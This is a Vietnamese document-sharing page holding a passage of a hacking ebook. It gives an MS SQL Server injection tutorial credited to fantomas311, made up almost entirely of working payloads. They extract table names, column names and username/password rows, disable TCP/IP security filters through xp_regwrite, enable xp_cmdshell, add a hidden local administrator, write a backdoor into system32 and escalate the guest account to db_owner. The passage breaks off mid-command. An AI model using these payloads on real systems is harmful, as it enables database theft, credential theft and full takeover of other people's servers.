1. Trang chủ
  2. » Công Nghệ Thông Tin

Hacker Professional Ebook part 236 pot

6 84 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 6
Dung lượng 127,36 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--sp_password 'Khai thác thông tin về các Table UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME

Trang 1

UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES sp_password

'Khai thác thông tin về các Table

UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN

('PRODUCTS') sp_password

'Khai thác thông tin về Table

and 38=convert(int,(select top 1 table_name from information_schema.tables)) sp_password

'Khai thác thông tin về các Table

and 38=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('PRODUCTS'))) sp_password

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

4 Khai thac thong tin ve Column

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Khai thác thông tin về Column

and 38=convert(int,(select top 1 column_name from information_schema.columns where table_name=('QUESTIONS'))) sp_password

'Khai thác thông tin về các Column

and 38=convert(int,(select top 1 column_name from information_schema.columns where table_name=('QUESTIONS') and column_name not in ('QUEST_ID'))) sp_password

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

5 Khai thac thong tin ve Content

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Khai thác thông tin với kiểu ngày giờ

and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat)) sp_password 'Khai thác thông tin dòng tiếp theo với kiểu ngày giờ

and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat where

NgayXuat<>'Mar 12 2003 12:00AM ')) sp_password

'Khai thác thông tin về dòng đầu tiên

and 1=convert(int,(select top 1 userName+'/'+userPass from Users)) sp_password 'Khai thác thông tin dòng tiếp theo

and 1=convert(int,(select top 1 userName+'/'+userPass from Users where

userName not in('admin'))) sp_password

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Trang 2

6 Khai thac thong tin ve Table, Column, Content cua cac database tiep

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Chú ý:

để nhận biết kiểu của cột dữ liệu ta dùng "image" để kiểm tra:

-Nếu là trường kiểu ngày/giờ

Dùng: char,nchar,nvarchar,varchar

B Upload backdoor lên host

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1 Xác định mức quyền và cho phép thực thi lệnh của MS SQL server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Xác định mức quyền

;select * from openrowset('sqloledb','';;,'')

'Thay đổi mức quyền

;exec master xp_regwrite

HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer

\Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1

;exec master xp_regwrite

HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer

\Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWO RD,0

'Xoá bỏ và khôi phục Log và firewall trong MS SQL

;exec master xp_regdeletevalue

'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser

vices\Tcpip\Parameters','EnableSecurityFilters'

;exec master xp_regwrite

'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser

vices\Tcpip\Parameters','EnableSecurityFilters',RE G_DWORD,0

'Cho phép sử dụng MASTER XP_CMDSHELL & ALLOW UPDATES

;select * from openrowset('sqloledb',

'server=Digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow

updates'', ''1'' reconfigure with override')

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

2 Do thám đưa thêm các thông tin

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Do tham IP của server và đưa vào bảng testip

;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into

Trang 3

testip exec master xp_cmdshell 'ipconfig'

'Cộng thêm một quyền quản trị mới

;select * from openrowset('sqloledb',

'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"') (%26

== "&")

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

3 Đưa backdoor lên server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Upload backdoor lên server vào thư mục C:\WINDOWS\system32

;select * from openrowset('sqloledb',

'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master xp_cmdshell "chube >>runfile.txt"')

;select * from openrowset('sqloledb',

'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master xp_cmdshell "chube >>runfile.txt & hamhoc >>runfile.txt"')

'Kiểm tra xem backdoor đã upload thành công chưa

;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master xp_cmdshell 'dir runfile.txt'

C Chạy backdoor trên server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1 Xác nhận backdoor đã được kích hoạt

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

2 Chiếm toàn bộ quyền điều khiển server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

fantomas311(VNISS)

Tổng hợp về SQL Injection (bài 10)

A Khai thac thong tin ve SQL server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1 Khai thac thong tin ve MS SQL server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Trang 4

' Thông tin về version của MS SQL

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "select @@version sp_password"

'Thông tin về servername

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "select @@servername sp_password" 'Thông tin về SERVICENAME

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "select

@@SERVICENAME sp_password"

'Thông tin về UID

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "select system_user sp_password" 'Thông tin về PWD

?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

2 Khai thac thong tin ve Database

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Thông tin về tên database

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "select db_name() sp_password"

'Khai thác các database của MS SQL

?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

3 Khai thac thong tin ve Table

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Khai thác thông tin về Table

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "use hoctap select top 1 table_name from information_schema.tables sp_password"

'Khai thác thông tin về các Table tiếp theo

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "use hoctap select top 1 table_name from information_schema.tables where table_name not in

('REFERENTIAL_CONSTRAINTS','dtproperties','sysalte

rnates','sysconstraints','syssegments','CHECK_CONS

TRAINTS','COLUMN_DOMAIN_USAGE','COLUMN_PRIVILEGES'

,'COLUMNS','CONSTRAINT_COLUMN_USAGE','CONSTRAINT_T

ABLE_USAGE','DOMAIN_CONSTRAINTS','DOMAINS','KEY_CO

LUMN_USAGE','SCHEMATA','TABLE_CONSTRAINTS','TABLE_

Trang 5

PRIVILEGES','TABLES','VIEW_COLUMN_USAGE','VIEW_TAB

LE_USAGE','VIEWS') sp_password"

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

4 Khai thac thong tin ve Column

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Khai thác thông tin về Column

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "use hoctap select top 1 column_name from information_schema.columns where table_name=('phieuxuat') sp_password" 'Khai thác thông tin về các Column tiếp theo

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "use hoctap select top 1 column_name from information_schema.columns where table_name=('phieuxuat') and

column_name not in ('STT','NgayXuat','DienGiai','DVT') sp_password"

'Khai thac thong tin ve khai bao kieu cua cot

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

5 Khai thac thong tin ve Content

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Khai thác thông tin về Column

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "use hoctap select top 1

STT,NgayXuat,DVT from PhieuXuat sp_password"

'Khai thác thông tin về các Column tiếp theo

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "use hoctap select top 1

STT,NgayXuat,DVT from PhieuXuat where STT='1' sp_password"

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "use hoctap select STT,NgayXuat,DVT from PhieuXuat where STT>0 sp_password"

B Upload backdoor lên host

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1 Xác định mức quyền và cho phép thực thi lệnh của MS SQL server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Xác định mức quyền

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "select * from

openrowset('sqloledb','';;,'') sp_password"

'Do guest là db_owner của database master nên guest có thể thi hành xp_regwrite

Trang 6

hoặc xp_cmdshell

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "exec sp_executesql N'create view

dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test' sp_password"

'Xác nhận guest đã nằm trong database master chưa

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "select top 1 name from master sysusers where roles=0x01 and name not in('dbo') sp_password"

'Cài cửa sau

C:\>osql -S xxx.xxx.xxx.xxx -U sa -P -Q "exec sp_executesql N'create view

Ngày đăng: 04/07/2014, 12:20